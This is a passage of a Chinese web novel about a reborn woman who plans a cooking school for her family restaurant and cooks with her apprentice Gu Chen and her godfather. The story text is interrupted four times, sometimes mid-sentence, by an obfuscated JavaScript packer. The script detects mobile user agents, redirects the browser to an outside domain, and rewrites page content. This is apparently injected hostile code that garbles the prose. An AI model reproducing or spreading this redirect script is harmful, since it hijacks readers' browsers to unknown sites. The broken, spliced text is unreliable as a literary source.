沈木犀觉着陈炎今天也有些太不自量力了，婚前就敢这般算计沈家，今天她就要在顾星河面前挫了他的面子。 “犀犀，你带走，回家吃。只是咱们说好的，培训班地址的事儿，你什么时候给我准确话啊？“ “明天安排好，合同到时候你也出一下，我们沈家该出钱出钱，该出力出力， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918746|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总不能只出一个人吧？” 沈木犀直戳陈炎“三寸”，打得他不知道再用什么和顾星河谈条件，不敢搭腔，也有点儿不知所措。 顾星河脸上堆着笑，嘴上忙不迭地说着感谢，心里只觉得这地址的事儿最好赶紧办妥，不然她顾星河也不是好惹的。 沈木犀起身要走，却被不死心的陈炎拦住。 “犀犀，我们真的不能再……？” “大师兄，犀犀本不是你该叫的，今天当着这么多人的面，以后不能这么叫了。再说我不喜欢别人叫我犀犀。叫我木犀就好？” “可是……” 沈木犀看着陈炎这个样子，想快刀斩乱麻地把事情解决了。 “大师兄你知道木犀是什么意思吗？” 陈炎似是得了救命稻草，这题他会啊！ “木犀，木犀是鸡蛋的意思啊！与木须同音，木须肉，鸡蛋炒肉啊。” 陈炎的脸上终于有了一丝得意，他真的是一个很好的厨子。 “那鸡蛋为什么叫木犀呢？” 陈炎一时被问到知识盲区，不知道怎么回答，尴尬地直搓脸。 小师弟将一杯热茶递给了沈木犀，轻声道。 “是桂花。“ 沈木犀有点儿惊讶，看着眼前的顾辰，又看到雅间对门上的字——星辰。 “鸡蛋入锅内滑散后，香小如桂。”顾辰道。 沈木犀点点头，看着陈炎。 “大师兄这个名字，就是干爹给我起的，这么久了你连我是谁，你都不知道，我们如何聊未来啊？” 沈木犀话罢，陈炎只觉得身体像皮球一样漏气了。 他知道沈木犀言外之意，干爹这个人脉，沈木犀她一直都有，只是他陈炎从来没有真正的了解过她。 顾小师弟嘴角牵出一丝笑意，顾星河赶忙将打包好的沙棘黄米递过，让他送沈木犀出去。 沈木犀与顾辰一前一后往外走着，沈木犀看着大堂内的服务员都对二人毕恭毕敬，礼貌有佳。 沈木犀大概猜出了顾辰的身份，转头站定问他。 沈木犀：“你怎么在这里？” 顾辰只管往前走，差点撞住突然停下的沈木犀，沈木犀脚下不稳，稍有趔趄，顾辰将她的腰紧紧揽住。 8. 真是个弟弟 沈木犀觉得一时有些尴尬，主要是顾辰离自己太近了，也就是因为顾辰离自己近，她清晰地看到顾辰长了一双很好看的眼睛，和顾星河神似。 沈木犀心中的猜想更加坚定了。 沈木犀赶忙摆正了身子，两人也很快地拉开了距离。 “师姐，我送你吧。” “你不留下来帮忙？” 沈木犀抬头瞧着顾家老号的门头，顾辰笑笑。 “我现在是沈家人，送你回去是我的责任。” “行，在外面晃一天了，我得赶紧回去了。” 沈木犀将自己的自行车推了出来，还未走，顾辰却从一旁将一辆边三轮骑了过来。 “坐这个，自行车我叫人给你明天送回去。” 沈木犀点点头。 “挺不错啊，拿我们家那么点薪水，还能开这样的车。” “家里的，以前工作的时候也开，习惯了。” 沈木犀觉得挺好。 第一天刚重生，她也累了，坐在侧边的位置上，自己可以轻松很多。 于是沈木犀搭上了顾辰的边三轮离开了顾家老号。 顾家老号在东城，沈家酒楼的老城在市中心，顾辰一路朝西走。 夜幕随着马路上的橙黄路灯忽明忽暗。 顾辰比同龄的男人感觉更加稳重，并没有开口寒暄扯东扯西。 这一点，沈木犀对顾辰的印象非常好。 两人一路沉默但并不妨碍各自感受温柔的晚风。 两旁的建筑物飞速倒退，沈木犀满脑子都是接下来沈家酒楼的主厨问题，这涉及了沈家酒楼日后的规划，更重要的是她和陈炎的关系。 可千万别和陈炎结婚呐。 沈木犀希望主厨的事情越早确定越好，但是她现在对于10日后能否打败陈炎毫无胜算。 沈木犀一个人暗暗想着，眉头忽紧忽松，而这一切都被后视镜记录着。 前方十字路口红灯，顾辰缓缓停车。 “你在想大师兄？” 沈木犀被没来由的问了一句，一时只得否认。 “怎么可能？” “那在想什么？” “我在想怎么让陈炎赶紧离开沈家酒楼。” “还是大师兄。” 顾辰的脸上毫无波澜。 “这怎么是想他，我在想酒楼的事情。” 顾辰没接话，此时绿灯亮起，他挂档，起步又上路了。 沈木犀只觉得自己为什么要给这么个小师弟解释这些。 顾辰将车载的收音机打开。 此时夜晚电台十分活跃，各种频道都在进行着…… 顾辰将旋钮转动，搜索频道，他避开广告播报和卖药的台，最后停在了“金曲留声”是邓丽君小姐的《初恋的地方》： “我记得有一个地方 我和他在那里定下了情 共度过好时光 那是一个好地方 高山青青流水长 陪伴着我们俩” …… 晚风温柔，顾辰的脸上仍然没有表情，沈木犀听着歌，竟不自觉得想笑。 真是个弟弟。 “你是顾星河的弟弟吧？” 顾辰脸上的表情在夜幕中稍有变化，看了一眼沈木犀。 “什么时候知道的？” 顾辰自问自答“酒坛子。” 沈木犀同步答道。 顾辰点点头。 顾家百年老号在大堂对外现场酿酒，是招牌菜百花烧卖的黄金搭配。 而百里外的赤水酱香酒也是顾家的产业，只是赤水酱香酒历史更佳悠久。 如果说沈家酒楼可以和顾家老号的实力比一比，那提及赤水酱香酒的话，沈家酒楼的商业实力就不能一同比拟了，差出的不是一个纬度。 只是沈木犀怎么知道顾家老号和赤水酱香酒有这样的渊源呢？ 沈木犀从小在顾星河的只言片语中猜测的，只是在刚才顾辰的口中得到了答案。 要说小师弟顾辰能在沈木犀做出红烧肉时道出赤水醪糟的秘密，并不是难事，毕竟像叶十七这样的也知道，但是顾辰和顾星河之间的举动倒是让沈木犀更加奇怪。 开始沈木犀以为顾星河为了拉拢人才，巩固自己的商业布局，需要人才。会不会像对待陈炎一样，向顾辰也散出橄榄枝，直到来到顾家老号，那个雅间名字“大江、大河、星辰、星河……” 沈木犀甚至回忆了下上辈子关于顾辰的信息。 沈木犀只记得这个小师弟姓顾，后来自己和陈炎结婚后没多久，这个小师弟就走了。 沈木犀想起后来应红闲聊天的时候说起过这个顾辰。 听说是去当兵了，因为没来沈家酒楼的时候就去当过空军，结果被分到炊事班，顾辰觉得呆着没意思就退伍了。 后来听说空军再次招人，他就又入伍了，再后来顾家老号在顾星河的操持下越做越大，赤水酱香酒也从国内的名酒到在海外热销起来，听说那个助推顾家商业版图的人就是个当兵的。 这么想想，按照上辈子的时间点来看，自己后面很快会和陈炎结婚，这个顾小师弟估计也就要离开沈家酒楼吧。 而这些都是顾辰自己的事情了，和她沈木犀无关。 “初恋的滋味那么甜 怎不叫人向往 ……” 沈木犀的思绪被音乐拉回现实。 沈木犀决定不想了，因为她到家了。 边三轮停靠在沈家酒楼的门口。 是夜，哪怕是闹市里的沈家酒楼也进入打烊阶段了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918747|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顾辰将电台关掉，熄火，顾辰透过霓虹，看着沈木犀。 “今天谢了啊，小师弟。” “谢我什么？” “谢谢你，今天几次三番帮我，最重要的是还送我回来。” “你……” 顾辰欲言又止。 沈木犀没话找话：“还有，好久没听到这么好听的歌了。” 沈木犀指指车载的收音机。 “我先回了，你也早些休息。” 顾辰点点头，不再说话。 沈木犀转身往后院走，顾辰开口。 “你不会嫁给陈炎吧？” 沈木犀被没来由的问了一句，转过头郑重地回答。 “不会的。” 顾辰笑笑，揉揉后脑勺，带上帽子，骑上他的边三轮离开了。 沈木犀看着远处，渐渐听到顾辰又打开了收音机听着音乐骑行，直到他消失在了路的尽头。 沈木犀转身往家走着，心里感觉很奇怪，这个小师弟呀。 沈木犀边走边想，踏过沈家后院门槛。 这辈子再踏进沈家后院，又是另一番心情了。 重生这天所经历的事情，足够她好好的想想今后如何应对。 现下明月透过树梢照进沈家后院里，蜿蜒的小桥接着连廊，流水从老城的护城河流入沈家的院子，发出悦耳的声音，随着流动的水，流入低处的后门，再汇出，入城外的母亲河。 沈木犀只觉得真是舒服，还是那个属于自己的沈家。 无数感慨如清凉月夜流入自己的思绪之中。 “犀犀回来了？” 沈国华坐在连廊的尽头问道。 直接让毫无心理准备的沈木犀吓一了跳。 沈国华坐在阴影里。 “婚事的事情，你今天做决定了。今后主厨的问题，你可想好？” 还不等沈木犀回答，沈国华赶忙抢话。 “如果真不想嫁陈炎，也没有关系，为父绝对支持你的决定。” 沈木犀本是紧绷的心，似是松了一下，脸上笑着。 沈国华见沈木犀还未作答。 “明天，赶紧找你干爹吧，主厨的事情也不是毫无办法。十日的时间虽然很短，但肯定能帮到你。” 沈木犀看着阴影中的父亲，她坐在父亲身边，将头靠在了他的肩上。 太好了父亲身体还健康、沈家还在、沈家酒楼还在…… “刚才谁送你回来的？” 沈国华自顾说。 “陈炎不行的话，你也不能对男人失去信心。你看你爸我就很好嘛，只是你妈福气短了点，但是我们也生出了像你这么优秀的女儿啊，你就是我们的骄傲……” 沈木犀听着父亲碎碎念着，瞬间将她的自我感动拉回了现实。 9. 葱油拌面 沈木犀睡了长长的一觉，梦里她逛了人民公园、滑了石头大象滑梯、溜了旱冰、吃了红绿海棠果水浇的刨冰、五彩斑斓的水果果冻、冰粉、凉虾、炸土豆…… 梦里沈木犀在室内篮球场下吹着风，手边还握着一根奶油冰棍…… 这样的夏天真是太好了…… 沈木犀是在小鸟叽叽喳喳的叫声中苏醒的，没有闹钟，也没有遮光的窗帘。 沈木犀觉得白噪音宛如天籁可以让她毫无起床气，清新的晨风从窗外灌入，沈木犀觉得氧气随外的树丛而来，让她顿时清明。 沈木犀将昨天的那双凉鞋放到了鞋架上，换了一双棉布鞋。沈木犀只觉得透气舒爽，因为她知道一会儿去厂里找干爹需要经过铁轨和一条长长的楼梯。 此时沈国华已经不在院内了，家里只剩沈木犀一人。 沈木犀用田七粉刷着牙，最后一把清水洗漱完毕。 沈木犀摸着自己的脸蛋，深深地呼吸了下新鲜空气，湿润的空气直直进入鼻腔，再吐出时沈木犀觉着这时候的井水还真不错，洗脸太舒服了。 沈木犀透过祥云纹样的玻璃看到厨房地上用油纸裹着的坛子。 太好了，老城李家的酱油还在。 许多年后，李家老大叔死去，孩子们都出国了，李家酱油沈木犀也再没吃到过了。 沈木犀拿过干净的小坛子，又挑了个掉子，小心地打开酱油坛的盖子，传来一股浓郁的咸鲜酱香，随着她将坛子完全打开，这股酱香直冲沈木犀的鼻腔。 太鲜了，闻着就流口水，这个味道干爹一定喜欢。 沈木犀将酱油打包，一并收拾好，将沈家后院的门锁好，便带着这坛酱油离开了。 沈木犀家的酒楼在锅炉厂的门口，是五岔路口的位置。正对朝西的路口，便是锅炉厂。 沈木犀太清楚这条路，她随着记忆往锅炉厂去了。 为什么熟悉？ 因为沈木犀小学读书的地方便是锅炉厂的子弟校。 子弟校离酒楼其实不远，但在沈木犀的记忆里，这段路感觉有3、4里地，估计小时候小小人看什么都大，马路也更大。如今再往锅炉厂去，只觉得这条路也就4、5百米。 沈木犀的干爹其实不是锅炉厂什么了不起的人物，他只是锅炉厂子弟校的一个小学老师。 当年沈家一家都是外来人，外地人读书，户口是个问题，沈木犀的干爹看着沈木犀已有入学年龄了还在酒楼玩耍，便上前问她想不想读书。 那时候的沈木犀也因为户口的事情曾被拒过幼儿园的入学名额，十分羡慕那些可以入读公办幼儿园的小朋友，当下她以为幼儿园和小学一样是个很好玩的地方，直点头。 于是在校长的简单面试下，十以内的算数根本难不倒这个在后厨数丸子的小孩，沈木犀顺利入学了。 沈家对于没有花任何关系和钱的情况下，能让沈木犀这么顺利的入学，倪老师仿佛是从天而降的一个好人，沈家无以言谢。 沈木犀也不知怎的，七岁就有了掌握人情事故的天赋，当下便双膝跪地，向这姓倪的老师喊着“谢谢干爹。” 性情中人的倪老师，当下也认下了这个干女儿。 后来因为厂子完成了时代的使命，子弟校也就随即并入城区里的一些公办学校，倪老师在厂子里自己的学生领导下，进入厂区工作，慢慢地也成了一个车间的主任。 主要是倪老师人好心善，厂子里的1、2、3代工程师和工人都有自己的带过的学生，自然没有在并校时因为外地人的身份丢了饭碗，反而明降暗升了。 要说倪老师是沈木犀的干爹一点不为过，其实沈木犀小时候不叫沈木犀，她叫沈桂花，倪老师觉得桂花有些太直接了，叫木犀比较好，沈家人觉得有文化真是不一般啊，直接让沈木犀磕头答应了。 沈木犀想着自己没事儿就给倪老师磕一个，一路上尴尬的要绷直脚趾头，觉得好笑。 就这么一路想着，不觉来到了工厂大门的大草坪前。 沈木犀当年就是从这里被倪老师领入学校的。 沈木犀踏进厂区，又转向车间宿舍。 今天恰逢周末，倪老师应该还在宿舍。但是一楼的绿色纱窗门被锁上了，沈木犀便在门口的石凳上坐了下来。 没等一会儿，倪老师便骑着自行车回来了，恰好停到了沈木犀的旁边。 还未等倪老师反应过来，多年未见面的沈木犀本想自我感动一把，当下跪下，讲述一下长大后再未见过恩师的感动话语。但正要屈膝，后面一辆边三轮也停了下来。 沈木犀随即边站直了身子，看清倪老师身后的人。 顾辰？ 倪老师眼前一亮，高兴地说着：“木犀丫头哇！” “干爹。” “好久不见滴呀，我滴天，我看看。” 倪老师人过半百，一口乡音，上海话仍是改不掉的。 倪老师发现顾辰在一旁站着，赶忙介绍：“这是我老战友的小班长，他和我战友一个空军炊事班里的。我跟着我战友叫，小班长。” “……” 沈木犀一时不知怎么接话，只想给倪老师磕一个。 “他在沈家酒楼学厨，我小师弟。” “啊，那怪不得顾小班长熏鱼也做得特别好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918748|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我不多介绍了，犀犀中午就不走了吧，咱们一起吃顿午饭。我还定了顾家老号的酒做熏鱼好不好呀。” 沈木犀来前也是这么想的，但是现在和想的差不太多，暂时先这样吧。 顾辰接过倪老师自行车筐里的菜，将酒卸装好，放在宿舍走廊的窗台上。 “倪老师，我给你带了酱油，是老城李家的。” 倪老师眼睛放亮：“是不是的呀。” 倪老师抱着酱油坛子使劲闻了闻。 这是属于家乡的味道。 老城李家一般不卖这种酱油，不符合老城人的喜好，但是架不住李家还有一个上海老婆，所以总还是留一些材料做一点。这种酱油稍微偏甜，美味鲜香。 倪老师年轻时候为祖国建设来到西南，与自己故乡分隔多年，每每提及家乡，各中滋味。 就对这种与家乡滋味相近的酱油爱不释手，后来李家逐渐不做这种酱油，倪老师与家乡的关系就又切断了一层。 “倪老师，一会儿我给你做午饭，葱油拌面吧？” “太好了，我想这口很久了。” 沈木犀见除了倪老师，还有一个免费劳动力，自然不能放过。 “你就先别回酒楼了，帮我打下手吧。” 顾辰将煤炉的盖打开，又将锅架好。 “没问题，犀犀师姐。” 沈木犀听着只觉得很奇怪，到又觉得没什么毛病。 沈木犀将小葱洗得干干净净，透了井水显得更加翠绿。 她熟悉地将橙黄的搪瓷盆打开，挖了一大块猪油放入烧得辣红的铁锅里。 猪油迅速融化，沈木犀将小葱切段放入油锅，用木筷子轻轻翻动熬制葱油，慢慢地葱白泛出焦黄，一阵阵浓烈的葱香味卷着猪油的醇厚袭来。 就是这个时机。 沈木犀将酱油盛出一些放入碗内，剩下的留给倪老师这几天留用。 酱油在高温的油里迅速滚开，蒸汽快速腾起，沈木犀将糖罐里的砂糖放入锅内，快速反动酱汁，很快糖也被融化了，就是这么快，葱油面的酱汁就做好了。 整个走廊都香得不得了，不时引来工友的打望，倪老师看着沈木犀的手法，又闻到葱油的香味，嘴不自觉地咽了咽。 顾辰在锑锅的宽水里挑出煮好的白生生的挂面，这种碱面在北方不得意，却在南方十分受欢迎。 葱油酱汁舀上3勺，趁热快速搅拌。 一根根韭叶细的面条挂满酱汁，赤油浓酱，最后再点缀几根焦香的葱段。 还没等沈木犀找到倪老师家的芝麻点缀，倪老师就拿过一碗坐在石墩上开吃了。 10. 臭鳜鱼前的准备 倪老师虽然年过半百，但仍是单身。 沈木犀小时候就听说倪老师有一个同学的对象，本来都要结婚了，但因为倪老师支援西南，女方父母不同意女儿远嫁，这门婚事就吹了。 那初恋觉得不能对不起父母，也不能对不起倪老师，最后辞了铁饭碗的工作，下海去了香港，后来好像经营点心食品发了家。 沈木犀也是那时在倪老师家里才吃到了来自香港的蛋黄莲蓉月饼。 那时初尝这种月饼真是稀奇，面皮的柔软、莲蓉细腻、满口绵密滑沙，最后一口鲜香的蛋黄，咸得细密，甜得绵长。 再后来，月饼种类丰富，运输物流配套更加齐全，天南海北的月饼走进千家万户数不胜数，只是沈木犀觉得再也没有吃到过这么好吃的月饼。 沈木犀回忆着，手上也并没有闲着，她把灶台里外里都擦得干干净净。最后把煤炉子一关，把锑锅里上满水，用余温烧出一锅热水。 一碗拌好的葱油面端到了沈木犀面前，确实很香啊，沈木犀笑笑接过顾辰手中的搪瓷碗。 说来沈木犀也有些饿了，早上起来到现在还没有吃过东西。 倪老师招呼二人坐石墩上吃。倪老师手里拿着开水壶，给二人各一杯开水。 工友端着洗澡盆回来，手里提着开水壶。 “倪主任，儿子、儿媳妇回来啦。” 倪主任端着碗正要起身：“哈哈，不是，是女儿回来了。” “哦哦哦，整误会了，是女儿、女婿回来了。” 沈木犀本来觉得怎么就洗了两碗，这葱油面就干了，直到这工友话一出，直接噎得她呛了好几下。 沈木犀觉得干爹真是可以，他没结婚这个事儿应该是公开的，工友们一顿胡喊，他也是一顿乱答应。 顾辰的手又伸过来了，递过来一杯水。 沈木犀只觉得什么都行吧，再不喝估计就噎死在这儿了。 倪老师见状不安慰，反而还咯咯的笑着。 “木犀，你今天来找我，肯定不是只为了给我做葱油面的事儿吧。” 沈木犀觉得干爹真是聪明人。 “哈哈，干爹，我今天确实是有事想找您帮忙。” “不会是103空车间的事儿吧？” “是啊，我这趟回来。”沈木犀发现自己说错话“我这次来呢，想办个烹饪的培训学校，陈炎之前说找过你，你不见他？” “我不喜欢他！” 倪老师估计还觉得陈炎是沈木犀将来的上门女婿。 “我不嫁他，我自己当校长。” 倪老师刚才铁着的脸，稍显缓和，一旁收捡碗筷的顾辰，手上的动作也顿了顿。 “你爹提出这种上门招婿的方案，我是非常反对的，但是你怎么突然又不嫁了？” “不喜欢。” 倪老师满意地点点头，继续道：“103车间的空地使用权，虽然我这个车间主任有权利批复租用，但是副主任李旭东也是要签字的。” “我们拿着文件直接再找他？” “李主任不好打交道吗？” “他是个妻管严，他老婆是农村来的悍妇，唯一能管住男人的办法就是不让她男人和任何女的接触。我怕你去，明明没什么事儿，又生出事来，反而不好签下字来。” 沈木犀脸上一下僵住，又只能挤出笑脸来。 “如果我们俩一起去呢？” 倪老师亮眼“也是个办法。” 沈木犀觉得荒诞又无奈地笑。 “他去也不行啊，您说的那母老虎是不能见着女的，不是能见到男的。” “我俩是对象不就行了。” 倪老师点点头，觉得十分满意，却看到沈木犀头都摇飞了。 “假的不就行了，以后在李主任面前注意不要说漏就行了呗。” 沈木犀本想还嘴，但顾辰这个办法也不是不行，加上现在已经过去半天，这一天也算是过了。 “行吧，我们先去。谢谢干爹。” “一定要注意那母老虎啊，谨言慎行。” 顾辰赶忙拿过后备箱里的头盔给到沈木犀，沈木犀臊眉耷眼地接过，坐上了车，挤出了一个标准微笑看向倪老师。 …… 两人一路上都没说话，沈木犀在想着这李主任的老婆就这么不好说话吗？至不至于啊。 “至于我们俩，一会儿我开口说话，你点头摇头就行了，别说太多。” 沈木犀从鼻腔里嗯出一声来。 车子经过了两个车间，又等了一个厂区的铁路红灯，就到了。 这楼里的家属院明显比倪老师那里好，一楼的院子还醒着绿油油的蔬菜。 顾辰把车子停到了一楼阳台的门口，两人拿着倪老师给的地址，正想往门楼里进。 一盆脏水泼了出来，随即一个脸盆也被摔了出来。 顾辰将沈木犀猛地往怀里一牵，沈木犀的头似乎是重重地砸在了顾辰的心脏处。 顾辰将沈木犀牢牢地护住，完全避免了脏水泼在二人身上。 随之而来一声痛骂。 “老子在厂里辛辛苦苦，拼命上班，就为的回来让你给我吃这些臭鱼烂虾。能干干不能干尽早滚回去！” 马上一声哭声似是唱戏般长长地传来。 “李——旭——东——！你上个月工资压多久了，你自己心里不清楚吗？你现在想把我撵走续弦，门都没有，老子今天就要给你拼了。” 沈木犀二人看看自己脚下，那脏水确实臭得不行。但是又听到了李旭东的名字，顾辰只得捡起脸盆，沈木犀捏着鼻子又往里走着，蹲下打算捡起地上的鱼。 顾辰将她的手挪开，自己伸手将地上的鱼捡了起来。 “脏，我来。” 沈木犀点点头。 直到顾辰将这臭鱼放进脸盆，两人相互对望了一下。 ——是鳜鱼！ 骂骂咧咧的女人从屋内出来，一路小跑走到两人跟前，撇着二人。 胖妇女：“你们谁啊？” 说着便把顾辰手中的搪瓷脸盆夺了过去。 这时听到门外有动静的李主任赶忙走了出来。 李主任谦虚有礼的样子。 “你们是？” 顾辰和沈木犀一对眼，打算按照刚才商量好的办法来。 顾辰开口。 “我们是倪主任介绍来的，我们想租103车间当培训班当办学用地，想找您申请签字。” 李主任正愁103车间闲置的空置率问题，这几个月好几个闲置车间已经有腾用方式了。但是103车间相对老旧，他奔走好几个单位都没有人要用，他正愁怎么弄出去，财神爷这就送上门了，刚才老婆正说他工资的事，现在若能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918749|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让103车间盘活，自己在厂子里的业务能力也可以得到肯定，后面自己绩效稳定，再也不用看凶老婆的脸了。 李主任微笑：“简直太欢迎了，只是手续的事情您这边需要把材料准备好，如果可以明天……明天我仔细看完资料，就可以签字办理哈。” 李主任其实为人很和善，和两人一一握手，本来说的好好的，直到李主任和沈木犀握上了手。 那胖妇人快步上前，一把将李主任的手夺过，把二人双手举起，又狠狠砸下。 胖妇人恶狠狠地冲着沈木犀。 “你什么人啊，就出来学别人办事，还握上手了。” 李主任一时间脸上挂不住，一会儿青一会儿白的。 “我是她男人。请你注意一点。” 顾辰话说得斩钉截铁，眼神凌厉，盯着那胖妇女，使她不得不向后露怯地走了半步。 沈木犀觉得顾辰这话说得不对，但是当下又是最好的解决办法，她无奈地看着顾辰，难为情的把脸扭了过去。 李主任觉得自己这个败家媳妇真是太过分了，逼得小两口这样说话。 李主任：“你最好滚回去反省，不然我明天就给你离婚。” 胖媳妇见这会儿好像闹过了头，只能呜呜咽咽地扭脸回了屋。 李主任不好意思地拿起面盆，将二人引入屋内。 “今天周末，厂里没人，也不好谈事情，咱们到屋里聊吧，我们家正好吃饭，你们吃个便饭再走。” 沈木犀其实不想吃这个饭，毕竟刚才已经干掉了一碗面，但是又觉得这个李主任态度积极，没准儿今天聊聊事情就稳了。 沈木犀拉了拉顾辰的衣袖，示意往里去。 顾辰这才跟着几人一同往屋内去了。 进了屋里，沈木犀觉得胖媳妇也不是表面这般撒泼无能。 家里被收拾的干干净净，一尘不染。阳台上李主任的白色衬衫被洗得发白，书柜里的书摆放得整整齐齐。 这一看就是一个极为细致干净的人收拾的房子，沈木犀对这个胖妇人一下就有了好感。 李主任赶忙拿过开水瓶给两人倒茶。 胖媳妇钻进厨房，开始一通收拾了。 透过客厅的玻璃门，沈木犀看到胖媳妇正抽泣地用袖套擦着泪。 李主任见状埋怨：“我这老婆就是吃了没文化的亏，见人不礼貌，但是她没什么坏心眼。你们别往心里去。” 顾辰和沈木犀笑笑。 “楼里的邻居同事都知道她爱做臭鱼，所以大家总是在单位有意无意挤兑我。我也知道，她是为了给家里节省开支。这臭鱼，咱们这边市场没人要，她买得便宜，还能做得好吃。都是为了这个家。” 茶叶在杯中舒展，晌午的阳光完全照了进来。 李主任：“喝茶。” 沈木犀：“咱们算是有缘，我们帮嫂子做一回吧，改改这个味儿。” 沈木犀说着就往厨房去了。 顾辰眉梢一动，跟着一起去了。 李主任拉着顾辰：“跟你对象说说，这第一回儿见面，就到我们家做饭，不合适吧。” 顾辰听到李主任的话，笑容灿烂：“没事儿，我对象就是要开烹饪学校的，正好给您露一手，您把把关。” 沈木犀听见了，没搭腔，暗叹了口气心说。 人啊真的不能说谎。 11. 臭鳜鱼 胖媳妇仿佛监工一样地盯着沈木犀和顾辰在厨房里做菜，她是害怕他们嚯嚯了她好容易省下来的油盐酱醋糖。 沈木犀觉得挺好，这样自己可以不用来回翻找别人家厨房里的东西。 而且有外人在，她处理和顾辰的关系也会显得轻松。 即便外人问起，李主任老婆的这张大喇叭也能证明，她们只是简简单单地做了个饭。 沈木犀想了想…… 别想了，李主任和他老婆估计也饿了。 沈木犀将胖媳妇递过来的白布围裙往身上一挂，一双手便轻轻地将她耳后的发从挂在脖子上的绳子里取出。 沈木犀觉得李主任的老婆也真是有眼色。 “嘿嘿，小两口真不错哈。”李主任老婆瞧着两个人默契非常，忍不住夸赞。 沈木犀这才反应过来，胖媳妇其实还在厨房门边，帮自己抓住头发的是顾辰。 “你们李主任就没有这个小兄弟贴心，他啊只知道骂我，看着斯斯文文，其实那心眼子和我们庄稼人一样，粗得很。”李主任老婆边说边往外撇了撇自家男人，试探着把抱怨话说完。 可是顾辰也没继续做什么，径自将刚才那条有些气味的鳜鱼放进了水磨石的池子里。 自来水从水龙头里一堵一堵地喷涌而出，还流出一些锈水。 胖媳妇不好意思，刚忙将水池旁边正在滴水的水缸掩住。 只见水直直地冲了下来，顾辰将鱼放到水下冲洗，手里的这条鱼其实还比较新鲜。 至于腐败发酵所产生的的味道，应该是用酱腌制的。 这一切也看在沈木犀眼里。 “姐，你这个鱼想必买得很贵吧。” “那哪成啊，你们李主任一个月就那么点儿工资，这都是我在鱼摊儿上捡的。” 这个年代，吃鱼的家庭，虽然也逐步增多，但是能弄得差不多天天有鱼的家庭还是很少见的。 胖媳妇一脸得意。 “这些鱼都是我蹲点儿等它们死的一瞬间才买的。鱼在水池子里卖和在石台上卖肯定不一样。这边人，鱼都不太会弄，死鱼又嫌味道太大。反正臭鳜鱼都得腌制发酵，不如就便宜我了。” 沈木犀和顾辰一边收拾着鱼一边听着胖媳妇怎么在菜场对线。 李主任：“我爱人是个农村人，就会点儿这些，见笑了哈。” 李主任将两个玻璃杯沏好了茶水递给沈木犀和顾辰。 沈木犀：“还得是姐啊，看把家里安排得多好。” 胖媳妇被李主任说了两句，脸色正有些尴尬，又被沈木犀简简单单一夸，紧张的脸显得舒展不少。 沈木犀将手里的茶又递给李主任老婆。 “姐，茶你喝，我们给你做这道臭鳜鱼，今天你也休息。” 胖媳妇一时觉得先前态度不太好真是难为情，加上她来城里和这个院子里的邻居相处已经有7、8年了，但是从来没有得到这里人正眼瞧过。 楼里的人，都嫌她从农村来，她经常送去新鲜蔬菜也被他们嫌弃是用有机肥浇的，后来见到胖媳妇更是闭门不见能躲便躲，一度让胖媳妇十分不自在。 加上胖媳妇对于自己没有工作，依靠李主任一个人维系家庭开支也十分苦恼，生活上既要保证营养，又要保障一家人未来的生活。 胖媳妇就成了整个职工宿舍里最小气、最节衣缩食的人。 胖媳妇不在乎这些，只要能让自己花最少的钱，让他男人孩子补充到最好的营养，自己就算完成了基本家庭主妇的任务。 胖媳妇罕见地将床下的花生油拎了出来，放在了灶台上。 又担心二人给自己用多了，找出一个干净小碗到出。 沈木犀和顾辰对视一眼，沈木犀只觉得这年头他家还有花生油，胖媳妇肯定费了不少心吧。 馥郁的花生油香味散开，完全没有平时菜籽油的青芥之气。 沈木犀将配料准备好，将花生油入锅，一层薄薄地底盐洒在锅内，见油泛起热气，将擦干净的鱼随锅边滑入锅内。 锅内的油声从大声响变得成细碎的声音，鱼在锅内慢慢地煎，这时候不能着急，需要等一会儿。 “千万别翻啊。”胖媳妇仔细盯着锅里的鱼。 她怕鱼未定型，翻动容易散了。 沈木犀：“好嘞，不翻。” 胖媳妇的话被人应承，她满意地笑笑。 沈木犀煎鱼这会儿功夫，询问起刚才胖媳妇说有人针对李主任的事情。 “姐，你说李主任之前在厂里有人刁难他？” “可不是。” 